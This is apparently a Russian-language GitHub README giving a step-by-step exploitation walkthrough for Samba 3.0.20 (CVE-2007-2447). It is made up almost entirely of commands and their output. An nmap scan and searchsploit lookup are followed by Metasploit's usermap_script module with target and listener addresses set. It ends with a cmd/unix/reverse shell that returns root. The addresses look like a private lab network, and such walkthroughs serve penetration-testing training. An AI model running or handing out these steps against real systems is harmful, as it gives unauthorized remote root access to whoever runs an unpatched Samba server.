nulltrace1336/samba-exploit-cve-2007-2447Пошаговое руководство по использованию уязвимости Samba 3.0.20 (CVE-2007-2447) с помощью Metasploit, включающее сканирование Nmap, настройку полезной нагрузки и выполнение обратной оболочки.
nmap -sS -sV -p 139,445 192.168.56.102
Ожидаемый результат:
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
👉 Версия Samba: 3.0.20 Она уязвима для CVE-2007-2447.
searchsploit samba 3.0.20
Результат:
Samba 3.0.20 - 'Username' map script Command Execution
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101
Payload будет автоматическим:
cmd/unix/reverse
Проверка:
show options
run
или
exploit
Если успешно:
Command shell session opened
Проверим:
whoami
👉 Результат:
root